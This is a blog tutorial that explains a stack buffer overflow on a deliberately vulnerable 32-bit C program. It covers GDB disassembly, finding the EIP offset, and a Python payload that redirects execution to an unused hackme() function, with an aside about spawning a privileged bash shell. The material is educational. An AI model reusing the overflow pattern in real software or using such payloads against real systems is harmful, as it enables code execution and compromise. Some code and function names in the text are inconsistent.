Page cover image

Explaining a Buffer Overflow

August 27th, 2022

Table of Contents

Foreword

I've created a video on the topic of stack-based buffer overflows, which you can find below. Personally, I find it much easier to watch it and follow along rather than reading the novel that this piece is. However, you can still get a ton of use out of this blog regardless!

Commence

Welcome to a highly saturated and already beat-to-death topic! Today, we’re going to take a program and exploit it via a buffer overflow attack. Except in this blog, rather than give you a step-by-step basic-ass way to exploit a binary, I want to dive deep. From the compilation of the program to its exploitation. So, without further ado, let’s just jump right into it! Let’s consider the following source code:

secure.c
#include <stdio.h>
#include <unistd.h>

int secure(){
  char buffer[200];
  int input;
  input = read(0, buffer, 200);
  printf("\n[+] user supplied: %d-bytes!", input);
  printf("\n[+] buffer content --> %s!", buffer);
  return 0;
}

int main(int argc, char * argv[]){
  secure();
  return 0;
}

This program is perfectly secure. We set up a buffer that’s 200 bytes wide and when we take input from the user, we only allow 200 bytes to be inputted into that previously defined buffer! We couldn’t even overflow this if we tried (I mean eventually, we would break the pipe but that’s not important right now). Let’s see what happens if we try to sneak in a couple hundred more bytes than what’s explicitly defined:

Output from overflow attempt

Insecure Example

Now, let’s look at the following code:

vulnerable.c
#include <stdio.h>
#include <unistd.h>

int overflow(){
  char buffer[200];
  int input;
  input = read(0, buffer, 400);
  printf("\n[+] you supplied: %d-bytes!", input);
  printf("\n[+] the contents of the buffer are --> %s", buffer);
  return 0;
}

int main(int argc, char * argv[]){
  overflow();
  return 0;
}

This is where stuff gets a bit… bad. The only difference between this code and the secure code is the following line: input = read(0, buffer, 400);. This time, the user is allowed to input more bytes than the buffer can handle. So, even when we try to compile this thing, we can see that the compiler screams at us - telling us that what we’re doing is ludicrously insecure:

Output for vulnerable.c compilation

Now, if we try to supply more bytes than the buffer space, we can see that we get a segmentation fault:

Segmentation fault

Binary Disassembly

Let’s take our python command and export it to a text file so that we can view what’s happening inside a debugger.

python -c 'print("A" * 400)' > input.txt

I’ll be using GDB with the peda plugin:

All that aside, let’s open the program inside the debugger:

gdb -q ./vulnerable
bin_0x01 ›› gdb -q ./vulnerableReading symbols from ./vulnerable...
(No debugging symbols found in ./vulnerable)
gdb-peda$

Now that it’s open, we can examine the program’s insides a bit. First, let’s find all the functions (this would be a lot harder if the binary was stripped but lucky for us, it’s not!)

Functions in the binary

We can ignore most of the stuff above, phew 😅. The functions we’d like to focus on are main() and overflow(). If we go inside of main, we’ll be able to see what the program does when it runs. Inside it, all it does is call our overflow() function.

Disassembly of main()

If you’re having difficulty understanding this output, it’s not as intimidating as it looks. Let’s look at the source code so you can compare the assembly output to the pure source code:

int main(int argc, char * argv[]){
  overflow();
  return 0;
}

Do you see? Inside of main, all it’s doing is calling our overflow function which is located at the address: 0x8049176. Let’s move on to something more interesting. Now that we know (I mean we already knew since we compiled the god-damn program but let’s pretend that we were hacking blindly) what’s inside of the main function, let’s actually disassemble the function that we found inside of it: overflow():

Disassembly of overflow()

Before going any further, let’s bring back the source code so we can better make sense of the output:

vulnerable.c
#include <stdio.h>
#include <unistd.h>

int secure(){
  char buffer[200];
  int input;
  input = read(0, buffer, 400);
  printf("\n[+] user supplied: %d-bytes!", input);
  printf("\n[+] buffer content --> %s!", buffer);
  return 0;
}

int main(int argc, char * argv[]){
  secure();
  return 0;
}

If we examine the output of the disassembled function, we can see that the buffer variable is pushed onto the stack before the call to the read() function; that function is responsible for actually taking in our user input. This is done by moving the address of [ebp-0xd4] to the EAX register (overflow <+17>). After this, the buffer variable (now the EAX register) is pushed on the stack as an argument for that aforementioned read() function. If we look carefully, we can see all of the arguments that are passed into read() being pushed on the stack. Observe:

  input = read(0, buffer, 400);

So, the first argument of the read function is a 0. We can see this being pushed on the stack at:

gdb-peda$ disas overflow
Dump of assembler code for function overflow:
   0x08049176 <+0>:	push   ebp
   0x08049177 <+1>: 	mov    ebp,esp
   0x08049179 <+3>:	sub    esp,0xd8
   0x0804917f <+9>:	sub    esp,0x4
   0x08049182 <+12>:	push   0x190
   0x08049187 <+17>:	lea    eax,[ebp-0xd4]
   0x0804918d <+23>:	push   eax
   0x0804918e <+24>:	push   0x0                     # read([0], buffer, 400)  
   0x08049190 <+26>:	call   0x8049030 <read@plt>
   0x08049195 <+31>:	add    esp,0x10
   0x08049198 <+34>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804919b <+37>:	sub    esp,0x8
   0x0804919e <+40>:	push   DWORD PTR [ebp-0xc]
   0x080491a1 <+43>:	push   0x804a008
   0x080491a6 <+48>:	call   0x8049040 <printf@plt>
   0x080491ab <+53>:	add    esp,0x10
   0x080491ae <+56>:	sub    esp,0x8
   0x080491b1 <+59>:	lea    eax,[ebp-0xd4]
   0x080491b7 <+65>:	push   eax
   0x080491b8 <+66>:	push   0x804a028
   0x080491bd <+71>:	call   0x8049040 <printf@plt>
   0x080491c2 <+76>:	add    esp,0x10
   0x080491c5 <+79>:	mov    eax,0x0
   0x080491ca <+84>:	leave
   0x080491cb <+85>:	ret
End of assembler dump.

Next, we see the buffer variable being passed into the function, which we already just covered:

gdb-peda$ disas overflow
Dump of assembler code for function overflow:
   0x08049176 <+0>:	push   ebp
   0x08049177 <+1>:	mov    ebp,esp
   0x08049179 <+3>:	sub    esp,0xd8
   0x0804917f <+9>:	sub    esp,0x4
   0x08049182 <+12>:	push   0x190
   0x08049187 <+17>:	lea    eax,[ebp-0xd4]            
   0x0804918d <+23>:	push   eax                     # read(0, [buffer], 400)
   0x0804918e <+24>:	push   0x0
   0x08049190 <+26>:	call   0x8049030 <read@plt>
   0x08049195 <+31>:	add    esp,0x10
   0x08049198 <+34>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804919b <+37>:	sub    esp,0x8
   0x0804919e <+40>:	push   DWORD PTR [ebp-0xc]
   0x080491a1 <+43>:	push   0x804a008
   0x080491a6 <+48>:	call   0x8049040 <printf@plt>
   0x080491ab <+53>:	add    esp,0x10
   0x080491ae <+56>:	sub    esp,0x8
   0x080491b1 <+59>:	lea    eax,[ebp-0xd4]
   0x080491b7 <+65>:	push   eax
   0x080491b8 <+66>:	push   0x804a028
   0x080491bd <+71>:	call   0x8049040 <printf@plt>
   0x080491c2 <+76>:	add    esp,0x10
   0x080491c5 <+79>:	mov    eax,0x0
   0x080491ca <+84>:	leave
   0x080491cb <+85>:	ret
End of assembler dump.

Lastly, we have the 400 bytes we’re allowed to input into the buffer variable:

gdb-peda$ disas overflow
Dump of assembler code for function overflow:
   0x08049176 <+0>:	push   ebp
   0x08049177 <+1>:	mov    ebp,esp
   0x08049179 <+3>:	sub    esp,0xd8
   0x0804917f <+9>:	sub    esp,0x4
   0x08049182 <+12>:	push   0x190                   # read(0, buffer, [400])
   0x08049187 <+17>:	lea    eax,[ebp-0xd4]            
   0x0804918d <+23>:	push   eax           ****          
   0x0804918e <+24>:	push   0x0
   0x08049190 <+26>:	call   0x8049030 <read@plt>
   0x08049195 <+31>:	add    esp,0x10
   0x08049198 <+34>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804919b <+37>:	sub    esp,0x8
   0x0804919e <+40>:	push   DWORD PTR [ebp-0xc]
   0x080491a1 <+43>:	push   0x804a008
   0x080491a6 <+48>:	call   0x8049040 <printf@plt>
   0x080491ab <+53>:	add    esp,0x10
   0x080491ae <+56>:	sub    esp,0x8
   0x080491b1 <+59>:	lea    eax,[ebp-0xd4]
   0x080491b7 <+65>:	push   eax
   0x080491b8 <+66>:	push   0x804a028
   0x080491bd <+71>:	call   0x8049040 <printf@plt>
   0x080491c2 <+76>:	add    esp,0x10
   0x080491c5 <+79>:	mov    eax,0x0
   0x080491ca <+84>:	leave
   0x080491cb <+85>:	ret
End of assembler dump.

How is that the 400? Well, the thing being pushed (0x190) is hexadecimal for 400. We can verify this with:

gdb-peda$ print /d 0x190 # /d to print out a decimal
$1 = 400

And thus, we have reverse-engineered all the arguments to the read() function! Pretty fascinating stuff, right 😄?

Stack Overflow

Let’s get even more in-depth and interact with the program. First, let’s create a text file to hold all of our A’s:

bin_0x01 ›› python -c 'print("A" * 600)' > input.txt

I chose 600 bytes arbitrarily, you can choose whatever. Now, let’s run the program; supplying our input, of course:

Although the bytes I supplied are arbitrary, you should still be mindful of how much you initially supply, it's better to start small and iterate higher and higher.

gdb-peda$ r < input.txt
Segmentation fault

As expected, we’ve got a segmentation fault. Since this is going to be more in-depth than just a simple “do this after crashing the program” kind of article, let’s examine what happens to the program before it dies as a form of cyber-pseudo-still living autopsy. To do this, some extremely useful features called “breakpoints” are going to be used. These stop or “break” the execution of the program when the program reaches it. So, let’s set some breakpoints before the call to read(), one right after it, and lastly, one on the return (ret) instruction.

Setting breakpoints

Now, if we run the program, it should hit the first breakpoint right before the call to the read function.

gdb-peda$ r
1st breakpoint hit

We can see from the code section that we’re currently inside the overflow function. We can see this further by examining a couple of addresses at the EIP register:

Examining the EIP register

Nice, this looks like the overflow function and if we recall, our input will be stored inside of the buffer variable which is located at the address of [ebp-0xd4]. We can find the address of this region with the following command:

gdb-peda$ p $ebp-0x200
$1 = (void *) 0xffffd028

If we view this address, we won’t find our “A”s in there yet because remember, we’re at the breakpoint right before the program will take our input and toss it into the region we’re going to be examining (the buffer):

Examining the memory region for $ebp-0x200 (0xffffd028)

If we continue the execution of the program using c, we can then re-examine this block of memory and we should see our A’s in there!

gdb-peda$ c
2nd breakpoint hit

We’re at the second breakpoint now, i.e., right after the call to read(). Which means…

Memory region filled with A's

Nice! We can see that A’s are all up in here. The next thing we need to take a look at is why the program crashes.

Since our output is larger than the declared variable size, the A’s obviously need to go somewhere. The normal behaviour of a program is that the A’s are copied further down the stack - overwriting/overflowing other data that was meant to reside there. One crucial piece of data that was overwritten was the return address.

Once the overflow() function is complete, the return address that was pushed onto the stack was meant to restore the rest of the main() function. However, if we hit continue again, we hit the last breakpoint set at the return instruction.

The return instruction takes the data at the top of the stack and puts it into the EIP.

The stack pointer (ESP) holds the top of the stack. So, once we get to our last breakpoint, we can see:

3rd breakpoint hit, on the ret instruction

We’re at the RET instruction and since we’re at RET, what’s going to happen here is that the ESP register is going to move whatever value is inside of it (i.e., at the top of the stack - normally, this would just be the normal return so that we could restore main()) into the EIP register and since it’s going to be a bunch of A’s, it’s going to crash. Let’s step inside the debugger and see if we can catch the moment the EIP gets filled with the value inside of ESP due to the RET instruction:

step
EIP register overwritten with A's

It’s just like we thought, the ESP (although it once held a normal and perfectly usable address) took the value inside of it and put it in the EIP register. Since our overflow had reached way down the stack, the ESP register took what was on top of the stack; a bunch of A’s, and put that in the EIP register instead, and the EIP register told the program to run the instruction at 0x41414141 - which, as we all know, isn’t a proper memory address, so we’ve crashed.

Stack overwritten with A's

Finding the EIP Offset

The even more dangerous part now is that we can very obviously overflow the stack to the point that after the RET instruction is reached, it makes the ESP register move a completely useless address to the EIP register. But what if we overflow the program just before we overwrite the return address and instead change the return address, not to a bunch of A’s, but instead, to some actually useful code, like for instance, some code that we put on the stack. In order to do that, we need to first figure out the offset until we reach the EIP. We need to generate a pattern:

gdb-peda$ pattern create 600 pattern.txt
Writing pattern of 600 chars to filename "pattern.txt"

Now, let’s run the program using the newly created pattern as our input:

Running with pattern as input

It might be hard to see, but the value stored inside of the EIP register is: 0x4325416e. Since we have this address now, we can find the offset using the following command:

gdb-peda$ pattern offset 0x4325416e
1126515054 found at offset: 216

Okay, perfect. We know that the EIP can be supplied up to 216 bytes before we overwrite it and destroy it. So, let’s see if we can overwrite the EIP address with a bunch of B’s:

bin_0x01 ›› python -c 'print("A" * 216 + "B" * 4 + "C" * 180)' > offset.txt

ourselvesIt’s good to use the same amount of bytes as you started with and fill the unused bytes with a different character just to make good use of the space and to better see ourselves on the stack. Let’s run this and if we’ve overwritten values properly, we should see that our EIP register holds a value of 42424242 (B’s in hex):

EIP register written with B's

Returning to Function

Perfect! Now, all we need to do is supply our own shellcode to abuse this or find a function that’s stupidly overpowered to hack the program for us. Let’s examine a case where we could populate the EIP with the address of a function left inside of the program to hack it for us. First, let’s edit our source code:

vulnerable_II.c
#include <stdio.h>
#include <unistd.h>

int hackme(){
  system("touch hacked.txt")
}

int secure(){
  char buffer[200];
  int input;
  input = read(0, buffer, 400);
  printf("\n[+] user supplied: %d-bytes!", input);
  printf("\n[+] buffer content --> %s!", buffer);
  return 0;
}

int main(int argc, char * argv[]){
  secure();
  return 0;
}

The only difference between this program and the previous one is the inclusion of the hackme() function which will create a file called hacked.txt. Now, it won’t ever get the chance to actually run that function since inside of main(), we never call the function - so this is just dead code inside of the program. Let’s compile this:

bin_0x01 ›› gcc -m32 -no-pie -fno-pie -mno-accumulate-outgoing-args -fno-stack-protector -z execstack vulnerable_II.c -o vulnerable_II
Compilation of vulnerable_II.c

Nice. If we open this new binary inside of a debugger and list the functions now, we should see the function that we’ve included:

Listing functions of the binary, our vulnerable function is listed there

Et voila! It’s here. Now, remember, this program is NEVER called during runtime. You’re not going to find this function inside of main. The only thing you’ll find is the overflow() function:

gdb-peda$ disas main
Dump of assembler code for function main:
   0x080491e5 <+0>:	push   ebp
   0x080491e6 <+1>:	mov    ebp,esp
   0x080491e8 <+3>:	and    esp,0xfffffff0
   0x080491eb <+6>:	call   0x804918f <overflow>
   0x080491f0 <+11>:	mov    eax,0x0
   0x080491f5 <+16>:	leave
   0x080491f6 <+17>:	ret
End of assembler dump.
gdb-peda$

This is where it gets super interesting! Pay attention!

So, we can crash the program, crash the program just enough to supply the instruction pointer with a bunch of B’s, but what else can we do - and more importantly, how much more malicious can we get? Well, friends, allow me to introduce the concept of EIP control - or execution control. So, the EIP register, what does it do? Basically, the instruction pointer can be summarized in the following:

The Program Counter, also known as the Instruction pointer, is a processor register that indicates the current address of the program being executed.” - Program Counter, Embedded Artistry

So if you could imagine, when we filled the EIP register of the four B’s, those were just junk bytes. 0x42424242 doesn’t mean anything in the context of a usable memory address. However, what if instead of supplying B’s or any other letter, we supplied the address of a function - specifically, the function that wouldn’t otherwise get executed 😉. Therein lies the beauty of this technique. We get to use our program against itself. First, let’s go ahead and disassemble the function we added:

Disassembly of hackme()

In this output, we can clearly see that inside the hackme() function, there’s a call to system() with a push of an address right above it. That address being pushed, is going to be the argument passed to system. In this case, it’s going to create a text file called hacked.txt. Let’s see if that’s the value of the argument by examining that address as a string:

gdb-peda$ x/s 0x804a008
0x804a008:	"touch hackme.txt"

It’s just as we thought! Perfect. Now, let’s move on and actually exploit this program such that we overflow the binary, redirect the EIP to hold the address of the hackme() function - the culmination of which will create a text file in our directory. So, let’s start off by getting the address of this function:

gdb-peda$ p hackme
$1 = {<text variable, no debug info>} 0x8049176 <hackme>

Remember that this binary is in little-endian. This means that we can’t just supply the address above as is, we need to reverse the byte order which means instead of 0x8049176, the address is going to be:

"\x76\x91\x04\x08"

See how much more useful this is when we compare it to our “BBBB” inside of the EIP register? Now, when the EIP gets this value, it’ll run the hackme() function; instead of crashing because it doesn’t know what to do with 0x42424242. Let’s replace our payloads:

bin_0x01 ›› python -c 'print("A" * 216 + "B" * 4 + "C" * 180)' > offset.txt

This turns into:

bin_0x01 ›› python2 -c 'print("A" * 216 + "\x76\x91\x04\x08" + "C" * 180)' > exploit.txt

The reason I used python2 for this command is because of this.

Now, if we finally run this exploit input, we should see that the exploit forces the binary to run that hackme() function and thus, a file will be created. First, let’s list our current directory:

Listing current directory

See, there’s no hacked.txt file. Now, let’s open the program up inside of GDB and run the exploit:

gdb-peda$ r < exploit.txt
Running our exploit

Awesome, we can see new processes/programs were spawned which should’ve created our file:

File gets created

And there we have it! The file was created! Now, obviously, creating a file is not that special but could you imagine the devastation if instead of:

int hackme(){
    system("touch hacked.txt");
}

There was a function like:

int uh_oh(){
    system("/bin/bash -p");
}

Yeah… That wouldn’t be good. And there’s a nice little trick we can use (called the double-cat trick due to STDIN being open in a weird way but that’s a talk for a different time) to keep the shell open because if we were to redirect the EIP to that uh_oh() function, it wouldn’t be stable enough for us to use the shell. I hope you’ll excuse me for blabbering on and nerd-ing out, but you can see how cool this is. From the basic reverse engineering to delving down deep and hacking this program, I hope you learned/got something from this and I sincerely thank you for reading this post!

Until next time! 😄

Last updated